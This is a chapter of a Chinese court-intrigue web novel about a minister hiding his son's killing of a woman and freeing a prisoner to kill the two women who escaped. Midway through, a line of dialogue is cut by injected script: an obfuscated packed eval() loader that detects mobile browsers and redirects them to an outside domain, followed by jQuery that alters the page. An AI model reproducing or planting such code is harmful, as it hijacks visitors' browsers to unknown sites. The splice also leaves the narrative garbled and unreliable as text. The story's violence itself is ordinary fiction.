金銮殿，晨光初照。
鎏金蟠龙柱下，文武百官分列两侧，太子谢承衍与康王谢承翊立于最前，一个神色沉稳，一个眉目倨傲。而六皇子谢承霄则站在稍后位置，指尖无意识地摩挲着袖口——那里似乎还残留着一丝若有若无的冷香。
"北境军报已至，狄人近来频频扰边，诸位爱卿有何良策？"皇帝谢明璋高坐龙椅，目光扫过群臣。
有大臣出列："臣以为，当增派精兵驻守陇西三镇，震慑蛮夷。"
太子微微颔首："儿臣附议。北狄狼子野心，不可不防。"
康王却冷笑一声："皇兄未免小题大做。区区蛮夷骚扰，何须大动干戈？依儿臣看，派个使者申饬一番便是。"
朝堂上顿时议论纷纷。
争论持续了半个时辰，皇帝才抬手示意安静："此事容后再议。"
就在众臣以为早朝将散时，皇帝忽然话锋一转："今日是章爱卿寿辰，朕心甚慰。"
满朝寂静。
章若平连忙出列，深深拜下："臣惶恐！区区贱辰，怎敢劳陛下挂念？"
皇帝笑道："爱卿过谦了。自李相故去，朝中大小事务多赖爱卿操持，实乃朕与万民之幸。"
这番话分量极重，几乎是在明示丞相之位非章若平莫属。
章若平额头触地，姿态谦卑至极："臣不过尽本分，岂敢当陛下如此赞誉。"
"爱卿不必推辞。"皇帝意味深长地看了眼太子，"今晚康王会代朕赴宴，以表朕心。"
太子面色不变，袖中手指却猛地攥紧。
......
退朝后，丹墀之上。
章若平刚踏出殿门，便被一众官员团团围住。
"章尚书福寿安康！下官备了份薄礼，还望笑纳。"
"下官早说章大人乃国之栋梁，陛下果然慧眼如炬！"
"今晚定要讨杯寿酒沾沾喜气！"
谄媚之声不绝于耳。章若平一一还礼，脸上挂着恰到好处的谦和笑容："诸位抬爱了，老夫愧不敢当。"
不远处，谢承霄冷眼看着这一幕，唇角勾起一抹讥诮的弧度。
——好一个"国之栋梁"。
他转身离去，玄色朝服在晨光中划出一道凌厉的弧度。
今晚的寿宴，想必精彩得很。
......
章府，苏氏院落
章玉阑烦躁地在屋内踱步，手指不停地敲击着桌案。昨夜派出去的家丁至今未归，那两个逃走的女人就像凭空消失了一般，连半点踪迹都寻不到。
"阑儿，你别急。"苏氏端着一碗冰镇莲子羹走来，柔声劝道，"先吃点东西，娘让人再去查。"
章玉阑一把挥开她的手，瓷碗"啪"地摔在地上，碎成几瓣。
"查？怎么查？！"他咬牙切齿，"那两个贱人要是把事情捅出去，爹非扒了我的皮不可！"
苏氏被溅了一身汤水，却顾不上擦拭，连忙拉住儿子的手："不会的，不会的！你爹就你这么一个儿子，他舍得吗？"
她掏出帕子，心疼地擦着章玉阑额角的汗，"再说了，不过是几个贱民，就算真闹到官府，花点银子也就打发了。"
章玉阑甩开她的手："娘，你不懂！那两个女人见过密室里的——"
话到嘴边，他突然刹住。苏氏虽然溺爱他，但若知道他玩死了人，怕是也要吓晕过去。
苏氏见儿子欲言又止，更加心疼："好了好了，娘这就派人去账房支银子，再多雇些人手去找。"她抚摸着章玉阑的脸，"我儿别怕，有娘在呢。"
正说着，门外传来急促的脚步声。
"少爷！"一个小厮慌慌张张冲进来，"老爷回府了，叫您立刻去书房！"
章玉阑脸色一白。
苏氏连忙挡在儿子面前："你去告诉老爷，就说少爷身子不适，晚些再去。"
"这……"小厮为难地低头，"老爷说，若少爷不去，他就亲自来请。"
章玉阑腿一软，差点跪倒在地。苏氏一把扶住他，转头对小厮厉声道："没眼色的东西！还不滚出去！"
待小厮退下，她急忙拉着章玉阑坐下："阑儿别怕，娘陪你去。"她从柜子里取出一瓶药油，抹在章玉阑太阳穴上，"待会儿你就说昨夜是帮朋友寻人，一时心急才闹出动静。记住，千万别提密室的事！"
章玉阑闻着刺鼻的药油味，突然抓住苏氏的手："娘，爹要是真发火，您可得救我！"
"傻孩子。"苏氏红着眼眶捏了捏他的脸，"娘就你这么一个心肝，拼了命也会护着你。"
......
书房内
章若平负手立于窗前，背影如山岳般沉重。听到门响，他缓缓转身，目光如刀般刮在章玉阑身上。
"听说，你昨夜闹得满城风雨？"
章玉阑腿一软，"扑通"跪下："爹，儿子是帮王侍郎家的公子寻人，一时情急才……"
"啪！"
一记耳光狠狠甩在他脸上。章玉阑被打得偏过头去，嘴角渗出血丝。
苏氏尖叫一声扑上来："老爷！阑儿还小，不懂事，您别——"
"滚出去。"章若平看都不看她一眼。
苏氏僵在原地，眼泪簌簌而下："老爷，阑儿他……"
"我让你滚出去！"章若平猛地拍案，震得茶盏叮当作响。
苏氏吓得一哆嗦，却仍死死挡在儿子面前："要打就连我一起打！"
章若平盯着这对母子，忽然冷笑一声："好啊，真是慈母多败儿。"他缓缓坐回太师椅，"说吧，密室里的女人是怎么回事？"
章玉阑浑身发抖："什、什么密室？儿子不知道……"
"不知道？"章若平从袖中掏出一把染血的匕首，"啪"地扔在地上，"那这又是什么？"
苏氏看到匕首上的血迹，终于意识到事情的严重性，眼前一黑，险些晕过去。
章若平冷冷地看着儿子："今晚寿宴，康王亲临，多少双眼睛盯着章府？你却在这个节骨眼上闹出人命？"
章玉阑瘫软在地，涕泪横流："爹，儿子知错了！您救救我！"
"老爷！"苏氏跪行几步，抱住章若平的腿，"阑儿是您唯一的骨肉啊！您就忍心看他……"
章若平闭了闭眼，再睁开时，已恢复平静。
"来人。"他沉声道，"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866926|176172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把少爷关进祠堂，没有我的命令，谁也不准放他出来。"
"老爷！"苏氏撕心裂肺地哭喊。
章若平一把拽起她，压低声音："不想你儿子死，就给我闭嘴！"他甩开苏氏，对门外管家吩咐，"去准备一下，今晚寿宴前，我要亲自去趟刑部大牢。"
管家心领神会，匆匆退下。
窗外，一只乌鸦落在枝头，发出刺耳的叫声。章若平望着阴沉的天色，眉头紧锁。
......
刑部大牢，最深处的重刑牢房。
阴暗潮湿的甬道尽头，铁栅栏内锁着一个男人。
他双手、双脚，甚至脖颈都被粗重的铁链禁锢，整个人像野兽般被囚在铁笼之中。可即便身处这般境地，他的眼神却仍旧锐利如刀，仿佛随时能暴起杀人。
脚步声由远及近，孙莫寒缓缓抬头，嘴角扯出一抹讥讽的冷笑。
"困了我三年，终于要杀我了？"他的嗓音沙哑，像是许久未开口，却仍带着一股令人不寒而栗的戾气。
章若平站在牢门外，面色沉静。他挥退左右，只留下心腹守在远处，这才淡淡道："我可以放了你。"
孙莫寒眯起眼，铁链随着他的动作发出沉闷的声响。
"条件？"
"替我找两个人。"章若平从袖中取出一张纸条，从铁栏缝隙递进去，"一日之内，找到她们，处理干净。"
孙莫寒没有立刻去接，而是盯着章若平看了许久，忽然低笑出声："章尚书倒是好算计，让我这个''朝廷重犯''替你杀人灭口？"
"你可以拒绝。"章若平神色不变，"继续在这里腐烂。"
牢房内陷入沉默，只有滴水声在黑暗中清晰可闻。
良久，孙莫寒伸手接过纸条，粗粝的指尖在纸上摩挲了一下，眼中闪过一丝嗜血的光芒："女人？"
"逃了一夜，应该还在城内。"章若平又从怀中取出一个小瓷瓶，倒出一粒赤红色丹药，"吃下去。"
孙莫寒冷笑："毒药？"
"十二个时辰内若无解药，肠穿肚烂。"章若平语气平静，仿佛在谈论天气，"事成之后，解药和自由，一并给你。"
孙莫寒盯着那粒丹药，忽然咧嘴一笑，露出森白的牙齿："好。"
他毫不犹豫地吞下丹药，喉结滚动间，眼中杀意更盛。
章若平满意地点点头，示意心腹打开牢门。铁链"哗啦"作响，孙莫寒活动了下僵硬的手腕，脖颈上的青筋因久违的自由而微微跳动。
"记住，"章若平最后看了他一眼，"你只有一日时间。"
孙莫寒扭了扭脖子，骨节发出令人牙酸的"咔咔"声。
"放心。"他低笑，眼底满是自负与凶狠，"这世上，还没有我千里寻踪孙莫寒找不到的人。"
......
半个时辰后，章府侧门。
章若平换好寿星礼服，面色如常地回到府中。管家匆匆迎上来："老爷，康王殿下已经到了，正在前厅等您。"
章若平整了整衣冠，脸上瞬间挂起谦和的笑容："我这就去。"
他迈步向前厅走去，身后夕阳如血，将他的影子拉得很长。